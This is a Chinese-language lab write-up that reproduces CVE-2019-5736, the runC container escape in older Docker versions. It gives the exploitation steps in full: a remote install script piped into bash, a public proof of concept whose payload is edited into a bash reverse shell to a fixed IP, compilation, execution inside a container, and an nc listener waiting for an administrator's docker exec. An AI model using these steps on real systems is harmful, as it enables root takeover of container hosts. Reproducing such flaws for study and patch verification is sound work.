CVE-2019-5736Docker逃逸漏洞复现报告 – 作者:渗透小子

CVE-2019-5736Docker逃逸漏洞复现报告

0x01 概述

2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现。该漏洞编号为CVE-2019-5736,漏洞影响在默认设置下运行的Docker容器,并且攻击者可以使用它来获得主机上的root级访问权限。

0x02 漏洞原理

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。
像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。
在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

0x03 利用方式

  • 宿主机利用攻击者提供的image来创建一个新的container 。
  • 拥有container root权限,并且该container后续被docker exec attach。

一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

0x04 影响版本

docker version <=18.09.2
RunC version <=1.0-rc6

0x05 漏洞复现

1.安装环境

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

1603780313_5f97bed97260932906e45.png!small?1603780314098

1603780338_5f97bef2989dabfa01ab6.png!small?1603780339322

或者直接下载脚本安装

chmod 777 install.sh && ./install.sh

2.下载POC

#yum install git

#git clone https://github.com/Frichetten/CVE-2019-5736-PoC

1603780370_5f97bf121c5f2abaf585d.png!small?1603780370660

#cd CVE-2019-5736-PoC/

#ls

1603780416_5f97bf409e8158644fece.png!small?1603780417162

# 修改Payloadvi main.gopayload = “#!/bin/bash \n bash -i >& /dev/tcp/192.168.44.133/1234 0>&1”

1603780454_5f97bf669132dc648b59e.png!small?1603780455318

备注:没有安装go——》yum install go

#yum install go

1603780482_5f97bf82107045d947639.png!small?1603780482505

# 编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

1603780494_5f97bf8e7c857b825b5d9.png!small?1603780494978

3.模仿攻击者,在容器中执行payload

docker ps #查看运行中的容器

1603780535_5f97bfb723621a6848617.png!small

docker ps -a #查看所有的容器

1603780579_5f97bfe328ebe989b2e6d.png!small?1603780579732

# 拷贝到docker容器实战演示:

sudo docker cp ./main 0f52b2162c67:/tmp  # 进入容器sudo docker exec -it 0f52b2162c67 /bin/bash
1603780643_5f97c0235f29232bdb575.png!small?1603780643874

# 修改权限
chmod 777 main

1603780671_5f97c03f24d145b80b80c.png!small?1603780671666

4.执行payload,等待受害者去启动docker容器。

# 执行Payload
./main

1603780684_5f97c04c997232ea76d58.png!small?1603780685137

攻击者开启nc监听

nc -lvp 1234

1603780693_5f97c055133ca5fca8fc0.png!small?1603780693538

5.受害者启动docker容器时,触发payload。

备注:进入的时候

docker -exec -it container-id /bin/sh        #这里不能用/bin/bash,这样就没有办法反弹,需要看管理员是否采用sh的方式登录了。

1603780708_5f97c0640ba821bd29626.png!small?1603780708577

1603780730_5f97c07a128d8ee56eb84.png!small?1603780730607

6.成功反弹shell。

1603780744_5f97c0884c25b53c91c6e.png!small?1603780745157

1603780759_5f97c0979be2ffb9a1a9f.png!small?1603780760546

来源:freebuf.com 2020-10-27 14:46:19 by: 渗透小子

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论